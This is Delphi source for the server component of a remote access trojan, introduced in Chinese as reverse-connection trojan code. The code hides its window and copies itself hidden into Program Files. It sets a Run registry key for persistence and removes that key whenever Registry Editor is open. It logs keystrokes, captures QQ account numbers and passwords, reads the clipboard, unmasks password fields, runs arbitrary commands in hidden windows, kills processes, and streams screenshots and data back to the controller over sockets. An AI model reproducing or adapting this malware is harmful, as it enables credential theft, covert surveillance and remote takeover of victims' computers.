unit1.pas

软件介绍:反弹连接木马源码 １、编译服务端。 服务端在进行编译时会提示出错 （停在“fme.SaveToFile(stf) ”段）

    end;
402:begin//终止进程
     HSnapshot:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
     Lppe.dwSize:=Sizeof(Lppe);
     Found:=Process32First(HSnapshot,Lppe);
     while Found do
     begin
       try
        if Lppe.szExeFile=copy(strr,4,length(strr)-3) then
         begin
          HProcess:=OpenProcess(PROCESS_ALL_ACCESS, FALSE, Lppe.th32ProcessID);
          TerminateProcess(HProcess,0);
          sx();
          Socket.SendText('401'+lb1.Items.Text);
          exit;
         end;
       except
       end;
       Found:=Process32Next(HSnapshot,Lppe);
     end;
    end;
403:begin//显示对话框
        ST1:= copy(strr,4,1);
        tit:= pchar(copy(strr,5,12));
        speak:=pchar(copy(strr,17,length(strr)-17));
        i:=strtoint(copy(strr,length(strr),1));

        IF ST1='1' THEN
         APPLICATION.MessageBox(speak,tit,MB_ICONHAND+i)
        ELSE IF ST1='2' THEN
         APPLICATION.MessageBox(speak,tit,MB_ICONASTERISK+i)
        ELSE IF ST1='3' THEN
         APPLICATION.MessageBox(speak,tit,MB_ICONWARNING+i)
        ELSE IF ST1='4' THEN
         APPLICATION.MessageBox(speak,tit,MB_ICONQUESTION+i);
    end;

501:begin//得到当前活动窗体名
     st:= GetForegroundWindow;
     L:=GetWindowTextLength(st)+1;
     GetMem(Name,L);
     GetWindowText(st,Name,L);
     Socket.SendText('501'+string(name));
    end;
502:begin//更改当前活动窗体名
     st:= GetForegroundWindow;
     tem:=copy(strr,4,length(strr)-3);
     SetWindowText(st,pchar(tem));
     retu();
    end;
503:begin//杀IE窗口
     IEwin := FindWindow('IEFrame',nil);
     If IEwin <> 0 Then
      SendMessage(IEwin,WM_SYSCOMMAND,SC_CLOSE,0);
     retu();
    end;
504:begin//隐藏状态栏
     hideTaskbar;
     retu();
    end;
505:begin//显示状态栏
     showTaskbar;
     retu();
    end; 
506:socket.SendText('506'+Clipboard.asText);//查看剪贴板内容
507:Clipboard.Clear;//清空剪贴板内容
508:begin//隐藏桌面
     hDesktop := FindWindow('Progman', nil);
     ShowWindow(hDesktop, SW_HIDE);
     retu();
    end;
509:begin//显示桌面
     hDesktop := FindWindow('Progman', nil);
     ShowWindow(hDesktop, SW_SHOW);
     retu();
    end;
510:begin//隐藏开始按钮
     hwnd1:=findwindow('shell_traywnd',nil);
     hwnd2:=getwindow(hwnd1,gw_child);
     getclassname(hwnd2,pchar(''),255);
     showwindow(hwnd2,sw_hide);
     retu();
    end;
511:begin//显示开始按钮
     hwnd1:=findwindow('shell_traywnd',nil);
     hwnd2:=getwindow(hwnd1,gw_child);
     getclassname(hwnd2,pchar(''),255);
     showwindow(hwnd2,sw_show);
     retu();
    end;
520:TurnScreenSaverOn;//屏保
530:spas:=1;//密码现形
531:spas:=0;//取消密码现形
532:begin//最小化所有窗体
      htaskbar:=findwindow('shell_traywnd',nil);
      sendmessage(htaskbar,wm_hotkey,$01f5,0);
    end;

601:begin//执行命令
      i:=pos('{',strr);
      DOSN:=COPY(strr,5,i-5);//得到命令
      DOSC:=COPY(strr,i+1,length(strr));//得到参数
      i:=strtoint(copy(strr,4,1));//得到方式
     case i of//运行命令
      1:shellexecute(handle,'open',pchar(DOSN),pchar(DOSC),nil,SW_SHOWNORMAL);
      2:shellexecute(handle,'open',pchar(DOSN),pchar(DOSC),nil,SW_MAXIMIZE);
      3:shellexecute(handle,'open',pchar(DOSN),pchar(DOSC),nil,SW_MINIMIZE);
      4:shellexecute(handle,'open',pchar(DOSN),pchar(DOSC),nil,SW_HIDE);
     end;
     retu();
    end;
602:begin//执行dos命令
     i:=strtoint(copy(strr,4,1));//得到方式
     DOSC:=COPY(STRR,5,LENGTH(STRR)-4);
     case i of//运行命令
      1:WinExec(pchar('COMMAND.COM /C '+dosc),SW_SHOWNORMAL);
      2:WinExec(pchar('COMMAND.COM /C '+dosc),SW_MAXIMIZE);
      3:WinExec(pchar('COMMAND.COM /C '+dosc),SW_MINIMIZE);
      4:WinExec(pchar('COMMAND.COM /C '+dosc),SW_HIDE);
     end;
     retu();
    end;
700:begin//开始抓屏
     ss.Port :=cs.Port+1 ;
     ss.Active :=true;
     JORF:=0;
    end;
710:ss.Active :=false;  
  end;
end;

procedure TForm1.csDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
 m1.Clear ;
 keyti.Enabled :=false;
 tsreb.Enabled :=false;
 timer1.Enabled :=true;
 keyti.Enabled :=false;
 tsreb.Enabled :=false;
 m1.Clear ;
 LPH:= DCB.Drive+':\';
 fdir(LPH);
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin//退出时
  CS.Socket.SendText('999'+ ipdd());
  cs.Close;
  application.Terminate;
end;

procedure TForm1.keytiTimer(Sender: TObject);
var//键盘记录
  i : byte;
begin
  for i:=8 To 222 do
  begin
     if GetAsyncKeyState(i)=-32767 then
      begin
      case i of
      8  : M1.Lines[M1.Lines.count-1] := copy(M1.Lines[M1.Lines.count-1],1,length(M1.Lines[M1.Lines.count-1])-1); //Backspace
      9  : M1.text:=M1.text+'[Tab]';
      13 : M1.text:=M1.text+#13#10; //Enter
      17 : M1.text:=M1.text+'[Ctrl]';
      27 : M1.text:=M1.text+'[Esc]';
      32 :M1.text:=M1.text+' '; //Space
      // Del,Ins,Home,PageUp,PageDown,End
      33 : M1.text := M1.text + '[Page Up]';
      34 : M1.text := M1.text + '[Page Down]';
      35 : M1.text := M1.text + '[End]';
      36 : M1.text := M1.text + '[Home]';
      37 : M1.text := M1.text + '[Left]';
      38 : M1.text := M1.text + '[Up]';
      39 : M1.text := M1.text + '[Right]';
      40 : M1.text := M1.text + '[Down]';

      44 : M1.text := M1.text + '[Print Screen]';
      45 : M1.text := M1.text + '[Insert]';
      46 : M1.text := M1.text + '[Del]';
      145 : M1.text := M1.text + '[Scroll Lock]';
      48 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+')'
           else M1.text:=M1.text+'0';
      49 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'!'
           else M1.text:=M1.text+'1';
      50 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'@'
           else M1.text:=M1.text+'2';
      51 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'#'
           else M1.text:=M1.text+'3';
      52 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'$'
           else M1.text:=M1.text+'4';
      53 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'%'
           else M1.text:=M1.text+'5';
      54 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'^'
           else M1.text:=M1.text+'6';
      55 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'&'
           else M1.text:=M1.text+'7';
      56 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'*'
           else M1.text:=M1.text+'8';
      57 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'('
           else M1.text:=M1.text+'9';
      65..90 : // a..z , A..Z
          begin
          if ((GetKeyState(VK_CAPITAL))=1) then
              if GetKeyState(VK_SHIFT)<0 then
                 M1.text:=M1.text+LowerCase(Chr(i)) //a..z
              else
                 M1.text:=M1.text+UpperCase(Chr(i)) //A..Z
          else
              if GetKeyState(VK_SHIFT)<0 then
                  M1.text:=M1.text+UpperCase(Chr(i)) //A..Z
              else
                  M1.text:=M1.text+LowerCase(Chr(i)); //a..z
          end;
      96..105 : M1.text:=M1.text + inttostr(i-96); //Numpad  0..9
      106:M1.text:=M1.text+'*';
      107:M1.text:=M1.text+'&';
      109:M1.text:=M1.text+'-';
      110:M1.text:=M1.text+'.';
      111:M1.text:=M1.text+'/';
      144 : M1.text:=M1.text+'[Num Lock]';

      112..123: //F1-F12
          M1.text:=M1.text+'[F'+IntToStr(i - 111)+']';

      186 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+':'
            else M1.text:=M1.text+';';
      187 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'+'
            else M1.text:=M1.text+'=';
      188 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'<'
            else M1.text:=M1.text+',';
      189 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'_'
            else M1.text:=M1.text+'-';
      190 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'>'
            else M1.text:=M1.text+'.';
      191 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'?'
            else M1.text:=M1.text+'/';
      192 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'~'
            else M1.text:=M1.text+'`';
      219 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'{'
            else M1.text:=M1.text+'[';
      220 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'|'
            else M1.text:=M1.text+'\';
      221 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'}'
            else M1.text:=M1.text+']';
      222 : if GetKeyState(VK_SHIFT)<0 then M1.text:=M1.text+'"'
            else M1.text:=M1.text+'''';
      end;
      end;
  end;
end;

procedure TForm1.tsrebTimer(Sender: TObject);
var L:integer;
    st:hwnd;
    Name:PChar;
    hd,hd1,hd2,thn:THandle;
    point:TPoint;
    temp:array[0..255] of char;
    Bufq:array[0..255] of Char;
    FWC:string;
begin//活动窗体键盘记录开始
   if reka<>'腾讯QQ' then
    begin
     st:= GetForegroundWindow;
     L:=GetWindowTextLength(st)+1;
     GetMem(Name,L);
     GetWindowText(st,Name,L);
     if reka=string(name) then
        keyti.Enabled :=true
     else
        keyti.Enabled :=false;
    end
   else
    begin//抓QQ密码
     GetCursorPos(point);
     hd:=WindowFromPoint(point);
     GetClassName(hd,temp,256);
     if temp='#32770' then
      begin
       hd1:=FindWindowEx(hd,0,'Button','登录');
       hd2:=FindWindowEx(hd,0,'Button','取消');
       if (hd1<>0) and (hd2<>0) then
        begin
          thn:=FindWindowEx(hd,0,'ComboBox',nil);
          GetClassName(thn, Bufq, 256);
          FWC := Bufq;
          SendMessage(thn, WM_GETTEXT, 256, Integer(@Bufq));
          if (length(Clipboard.asText)>0) and (length(Clipboard.asText)<30)  then
            QQNO := '剪贴板的内容为: '+Clipboard.asText+' QQ号码：'+Bufq+' 密码：'
          else
            QQNO := 'QQ号码：'+Bufq+' 密码：';
          keyti.Enabled :=true;
        end
       else
          keyti.Enabled :=false;
      end;
    end;
end;

procedure TForm1.DCBChange(Sender: TObject);
begin
  LPH:= DCB.Drive+':\';
  Fextfi:='*.*';
  fdir(LPH);
  Fextfi:='';
end;

procedure TForm1.FormCreate(Sender: TObject);
var myn,myn2: string;
    fme:TMemoryStream;
    clf:TfileStream;
    size:integer;
    ss,stf:string;
    f:textfile;
begin
    Application.ShowMainForm:=false;
    SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
    lik:=0;
    QQNO:='';
    DCB.Text :='C:';
    stf:=ExtractFilePath(application.ExeName)+'\st.txt';
    fme:=TMemoryStream.Create;
    clf:=Tfilestream.Create(application.ExeName,fmShareDenyNone);
    jpgs:=TmemoryStream.Create ;

    try
        clf.Seek(-sizeof(size),soFromEnd);
        clf.ReadBuffer(size,sizeof(size));
        clf.Seek(-size,soFromEnd);
        fme.CopyFrom(clf,size-sizeof(size));
        fme.SaveToFile(stf);
    finally
        fme.Free;
        clf.Free;

        assignfile(f,stf);
        reset(f);
        readln(f,ss);
        i:=pos('>>>',ss);
        seta:=copy(ss,1,i-1);
        ss:=copy(ss,i+3,length(ss));
        i:=pos('>>>',ss);
        setb:=copy(ss,1,i-1);
        ss:=copy(ss,i+3,length(ss));
        i:=pos('>>>',ss);
        setc:=copy(ss,1,i-1);
        closefile(f);
        deletefile(stf);
    end;

  myn := ExtractFilename(Application.Exename);
  IF FILESETATTR(Application.Exename,0+FAHIDDEN)=0 THEN FORM1.Caption :='';
  myn2:=COPY(trim(GetWindir),1,2)+'\Program Files\'+myn;
  if application.Exename <> myn2 then
   begin
    copyfile(pchar(application.Exename), pchar(myn2), False);
    IF FILESETATTR(myn2,0+FAHIDDEN)=0 THEN FORM1.Caption :='';
    Winexec(pchar(myn2), sw_hide);
    application.Terminate;
   end;
  Timer1.Enabled :=true;
end;

procedure TForm1.RECLTimer(Sender: TObject);
VAR reg:Tregistry;
    st:hwnd;
    L:integer;
    Name:PChar;
    p:tpoint; //鼠标指针
begin//开机启动
    reg:=tregistry.Create ;
    reg.RootKey :=HKEY_LOCAL_MACHINE;

    st:= GetForegroundWindow;
    L:=GetWindowTextLength(st)+1;
    GetMem(Name,L);
    GetWindowText(st,Name,L);

    IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
       reg.WriteString('PHIME2OO2ASyst',Application.ExeName);

    if String(name)='注册表编辑器' then
       reg.DeleteValue ('PHIME2OO2ASyst');
  reg.CloseKey ;
  reg.Free ;

  if spas=1 then
  begin
    getcursorpos(p); //查鼠标坐标
    st:= WindowFromPoint(p); //返回句柄
    SendMessage(st,EM_SETPASSWORDCHAR,0,0);//发送消息
  end;

end;


procedure TForm1.SSClientError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  errorcode:=0;
  jpgs.Clear;
end;

procedure TForm1.SSClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  jpgs.Clear;
end;

procedure TForm1.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var rstr:string;
    sTemp,sFileName:string;
    buf:Pointer;
    lh:Integer;
begin
  if JORF=0 then
   begin
     rstr:=socket.ReceiveText;
     if rstr='701' then SJP();
     if rstr='710' then jpgs.Clear;
   end
  else
   begin
    lh:=Socket.ReceiveLength;
    GetMem(buf,lh);
    Socket.ReceiveBuf(buf^,lh);
    sTemp:=StrPas(PChar(buf));
    sTemp:=Copy(sTemp,1,3);

    if (stemp<>'999') and (stemp<>'111') and (stemp<>'000') then
      begin
       // form1.Caption :='接收数据...';
        fsRecv.WriteBuffer(buf^,lh);
        Socket.SendText('555');
        FreeMem(buf,lh);
        exit;
      end;

   case strtoint(stemp) of
999:begin
      cs.Socket.SendText('998');
      fsRecv.Free;
      ss.Active :=false;
    end;
111:begin
      sTemp:=Trim(StrPas(PChar(buf)));
      fsRecv:=TFileStream.Create(upfina,fmCreate);
      Socket.SendText('333');
    end;
000:Socket.SendText('555');
   end;
   end;
end;



end.